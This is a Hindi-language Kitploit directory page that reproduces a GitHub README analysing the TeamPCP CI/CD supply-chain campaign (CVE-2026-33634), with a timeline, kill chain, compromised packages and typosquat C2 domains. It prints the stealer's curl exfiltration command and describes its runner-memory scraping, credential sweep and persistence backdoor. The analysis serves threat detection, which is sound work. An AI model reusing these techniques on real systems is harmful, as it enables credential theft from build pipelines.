Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
teampcp-supply-chain-attack — CVE-2026-33634 (CVSS 9.4) — अब तक का 2026 का सबसे प्रभावशाली CI/CD सप्लाई चेन हमला। | Kitploit
उपकरण/GitHubGitHub/ugurrates/teampcp-supply-chain-attack
कंटेनर सुरक्षामालवेयर विश्लेषणक्लाउड सुरक्षाखतरा खुफियाआपूर्ति श्रृंखला सुरक्षालर्निंग और शिक्षाघटना प्रतिक्रियाचयनित संसाधन

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
GitHub
ugurrates/teampcp-supply-chain-attack

teampcp-supply-chain-attack

CVE-2026-33634 (CVSS 9.4) — अब तक का 2026 का सबसे प्रभावशाली CI/CD सप्लाई चेन हमला।

रिपॉजिटरी देखें
113262 महीने पहलेअभी तक समीक्षित नहीं

TeamPCP सप्लाई चेन हमला: तकनीकी विश्लेषण और डिटेक्शन गाइड

CVE-2026-33634 (CVSS 9.4) — अब तक 2026 का सबसे प्रभावशाली CI/CD सप्लाई चेन हमला।

19–25 मार्च, 2026 के बीच, खतरा अभिनेता TeamPCP (जिसे DeadCatx3, PCPcat, ShellForce, CanisterWorm के रूप में भी ट्रैक किया जाता है) ने पाँच पारिस्थितिकी तंत्रों में कैस्केडिंग सप्लाई चेन समझौता किया: GitHub Actions, Docker Hub, OpenVSX, npm, और PyPI। एक एकल अधूरे-रोटेटेड GitHub PAT से शुरू होकर, यह अभियान दो प्रमुख ओपन-सोर्स सुरक्षा विक्रेताओं (Aqua Security और Checkmarx), चार GitHub Actions रिपॉजिटरी, दो VS Code एक्सटेंशन, कंटेनर रजिस्ट्री और 66+ npm पैकेजों में फैल गया।

यह रिपॉजिटरी संपूर्ण तकनीकी विवरण, क्यूरेटेड IOC सूचियाँ (FP-परीक्षित), और Microsoft Defender XDR में तैनाती के लिए तैयार डिटेक्शन क्वेरी प्रदान करता है।


विषय-सूची

  • हमले की समयरेखा
  • किल चेन विवरण
  • समझौता किए गए आर्टिफैक्ट
  • क्रेडेंशियल स्टीलर की कार्यप्रणाली
  • CanisterWorm — npm प्रसार
  • ईरान-लक्षित वाइपर घटक
  • डिटेक्शन और हंटिंग
  • IOC सूची
  • FP फ़िल्टरिंग नोट्स
  • MITRE ATT&CK मैपिंग
  • संदर्भ

हमले की समयरेखा

दिनांक (UTC)घटना
20 फरवरी, 2026hackerbot-claw खाता बनाया गया; शोषण योग्य pull_request_target वर्कफ़्लो के लिए रिपॉजिटरी स्कैन करना शुरू
28 फरवरी, 2026PWN अनुरोध के माध्यम से पहला Trivy समझौता; क्रेडेंशियल बाहर निकाले गए
1 मार्च, 2026Aqua Security ने रोकथाम का प्रयास किया — क्रेडेंशियल रोटेशन अधूरा
19 मार्च, 17:43मुख्य हमला: TeamPCP ने समझौता किए गए aqua-bot सेवा खाते के माध्यम से aquasecurity/trivy-action में 75/76 टैग + setup-trivy के सभी 7 टैग फोर्स-पुश किए
19 मार्च, 18:22बैकडोर युक्त Trivy v0.69.4 GitHub Releases, Docker Hub, GHCR, ECR पर प्रकाशित
20 मार्च, 05:40Trivy-action समझौता विंडो बंद (~12 घंटे)
20 मार्च, 20:45CanisterWorm npm में फैलता हुआ पाया गया — 47+ पैकेज समझौता
22 मार्च, 20:31TeamPCP ने स्क्रिप्टेड 2-मिनट के विस्फोट में aquasec-com GitHub org के सभी 44 रिपॉजिटरी को विकृत किया
22 मार्चसमान स्टीलर पेलोड के साथ Docker Hub इमेज 0.69.5 और 0.69.6 पुश की गईं
23 मार्च, 02:53Checkmarx लहर शुरू: ast-phoenix खाते के माध्यम से दुर्भावनापूर्ण ast-results v2.53.0 और cx-dev-assist v1.7.0 OpenVSX पर प्रकाशित
23 मार्च, 12:58समझौता किए गए cx-plugins-releases खाते के माध्यम से Checkmarx/kics-github-action के सभी 35 टैग फोर्स-पुश
23 मार्च, 15:41Checkmarx ने OpenVSX समस्या हल होने की रिपोर्ट दी
23 मार्च, 16:50उपयोगकर्ता रिपोर्ट के बाद KICS GitHub Action को हटाया गया
23 मार्च, 22:25Sysdig ने रिपोर्ट किया कि Checkmarx/ast-github-action v2.3.28 भी समझौता किया गया
24 मार्च, 08:30LiteLLM लहर: चुराए गए क्रेडेंशियल का उपयोग करके ट्रोजन युक्त litellm v1.82.7 और v1.82.8 PyPI पर प्रकाशित
24 मार्च, 11:25PyPI ने दुर्भावनापूर्ण LiteLLM संस्करणों को क्वारंटीन किया

किल चेन विवरण

चरण 1 — प्रारंभिक पहुँच

मूल कारण: 28 फरवरी के उल्लंघन के बाद अधूरा क्रेडेंशियल रोटेशन। aqua-bot सेवा खाते का PAT या तो रद्द नहीं किया गया था या हमलावर ने रोटेशन के दौरान नया टोकन देख लिया था।

TeamPCP ने इस बनाए रखी गई पहुँच का उपयोग संस्करण टैग को दुर्भावनापूर्ण नकली कमिट में फोर्स-पुश करने के लिए किया। प्रत्येक जाली कमिट ने मूल के मेटाडेटा (लेखक, टाइमस्टैम्प, संदेश) की नकल की, जबकि एंट्री पॉइंट स्क्रिप्ट को स्टीलर पेलोड से बदल दिया। GitHub के रिलीज़ पेज में कोई दृश्य परिवर्तन नहीं दिखा — यहाँ तक कि "Immutable" बैज भी सामान्य रूप से प्रदर्शित हुआ।

चरण 2 — पेलोड निष्पादन

स्टीलर — एक 204-पंक्ति entrypoint.sh जो स्वयं को "TeamPCP Cloud stealer" के रूप में पहचानता है — तीन-चरणीय हमला चलाता है:

चरण 1: मेमोरी स्क्रैपिंग

Reads /proc/<pid>/mem from Runner.Worker processes
Searches for pattern: {"value":"<secret>","isSecret":true}
Extracts GitHub PATs, cloud credentials, API keys from runner memory

चरण 2: फाइलसिस्टम क्रेडेंशियल स्वीप

50+ संवेदनशील पथों को स्कैन करता है, जिनमें शामिल हैं:

  • SSH कुंजियाँ (~/.ssh/*)
  • AWS/GCP/Azure क्रेडेंशियल
  • Kubernetes टोकन और कॉन्फ़िग
  • Docker रजिस्ट्री क्रेडेंशियल
  • Terraform स्टेट फ़ाइलें
  • क्रिप्टो वॉलेट (Solana, Bitcoin, Ethereum, Cardano)
  • npm टोकन (~/.npmrc)
  • शेल हिस्ट्री
  • .env फ़ाइलें

चरण 3: एन्क्रिप्टेड बहिर्निकासी

  • सभी एकत्रित डेटा को tpcp.tar.gz में बंडल करता है
  • AES-256-CBC (यादृच्छिक सत्र कुंजी) + RSA-4096/RSA-OAEP (हमलावर की सार्वजनिक कुंजी) के साथ एन्क्रिप्ट करता है
  • विक्रेता-विशिष्ट टाइपोस्क्वाट डोमेन पर curl POST के माध्यम से बहिर्निकासी करता है
  • फ़ॉलबैक: चुराए गए GITHUB_TOKEN का उपयोग करके पीड़ित के GitHub खाते में tpcp-docs या docs-tpcp रिपॉजिटरी बनाता है

चरण 3 — स्थायित्व (Persistence)

गैर-CI Linux सिस्टम पर, मैलवेयर:

  1. छिपी हुई निर्देशिका ~/.config/sysmon/ बनाता है
  2. एक Python बैकडोर (sysmon.py) छोड़ता है
  3. एक systemd उपयोगकर्ता सेवा स्थापित करता है जो हर 50 मिनट में C2 को पोल करती है
  4. किल स्विच: यदि C2 प्रतिक्रिया में "youtube" है, तो बैकडोर निष्पादन छोड़ देता है

चरण 4 — पार्श्व गति (Checkmarx लहर)

Trivy लहर से चुराए गए क्रेडेंशियल ने Checkmarx के पारिस्थितिकी तंत्र के समझौते को सक्षम किया। प्रत्येक नई लहर ने पिछली लहर के ब्लॉकलिस्ट से बचने के लिए एक अलग टाइपोस्क्वाट C2 डोमेन का उपयोग किया:

लहरC2 डोमेनटाइपोस्क्वाट ऑफ़
Trivyscan.aquasecurtiy[.]orgaquasecurity.org
Checkmarx/KICScheckmarx[.]zonecheckmarx.com
LiteLLMmodels.litellm[.]cloudlitellm.ai

समझौता किए गए आर्टिफैक्ट

GitHub Actions

रिपॉजिटरीसमझौता किए गए टैगएक्सपोज़र विंडो (UTC)एंट्री पॉइंट
aquasecurity/trivy-action76 में से 75 (सुरक्षित: 0.35.0)19 मार्च 17:43 – 20 मार्च 05:40entrypoint.sh
aquasecurity/setup-trivyसभी 7 टैग19 मार्च 17:43 – 21:44action.yaml
Checkmarx/kics-github-actionसभी 35 टैग23 मार्च 12:58 – 16:50setup.sh
Checkmarx/ast-github-actionv2.3.28 (संभवतः सभी)23 मार्च ~22:25+setup.sh

OpenVSX एक्सटेंशन (VS Code Marketplace प्रभावित नहीं)

एक्सटेंशनदुर्भावनापूर्ण संस्करणसुरक्षित संस्करण
checkmarx.ast-results2.53.0>= 2.56.0
checkmarx.cx-dev-assist1.7.0>= 1.10.0

दोनों एक्सटेंशन 23 मार्च को 12:53 UTC पर 12 सेकंड के अंतराल पर ast-phoenix खाते के माध्यम से प्रकाशित किए गए। सक्रियण पर, environmentAuthChecker.js क्लाउड प्रदाता क्रेडेंशियल की जाँच करता है, फिर checkmarx[.]zone/static/checkmarx-util-1.0.4.tgz से दूसरे चरण का स्टीलर खींचता है।

कंटेनर इमेज

इमेजदुर्भावनापूर्ण टैग
docker.io/aquasec/trivy0.69.4, 0.69.5, 0.69.6
ghcr.io/aquasecurity/trivy0.69.4, 0.69.5, 0.69.6
public.ecr.aws/aquasecurity/trivy0.69.4, 0.69.5, 0.69.6

PyPI

पैकेजसंस्करणबैकडोर युक्त फ़ाइल
litellm1.82.7, 1.82.8litellm/proxy/proxy_server.py

K8s पार्श्व गति टूलकिट के साथ ट्रिपल-नेस्टेड base64 पेलोड। checkmarx.zone/raw को पोल करने वाले sysmon.service के माध्यम से स्थायित्व।


क्रेडेंशियल स्टीलर की कार्यप्रणाली

सभी लहरों में बहिर्निकासी पैटर्न समान है:

curl -s -o /dev/null -w %{http_code} -X POST https://<c2_domain> \
  -H "Content-Type: application/octet-stream" \
  -H "X-Filename: tpcp.tar.gz" \
  --data-binary @/tmp/tmp.XXXXXXXXXX/tpcp.tar.gz

टाइपोस्क्वाट डोमेन रणनीति जानबूझकर की गई है: CI/CD लॉग की समीक्षा करने वाला एक विश्लेषक curl ट्रैफ़िक को ऐसे डोमेन पर देखता है जो एक्शन के अपने विक्रेता डोमेन जैसा दिखता है। सावधानीपूर्वक तुलना के बिना, त्वरित लॉग समीक्षा में scan.aquasecurtiy.org को aquasecurity.org मान लिया जाता है।

केवल हमलावर ही चुराए गए डेटा को डिक्रिप्ट कर सकता है — AES सत्र कुंजी उनकी सार्वजनिक कुंजी के साथ RSA-OAEP एन्क्रिप्टेड है।


CanisterWorm — npm प्रसार

टूल डाउनलोड करें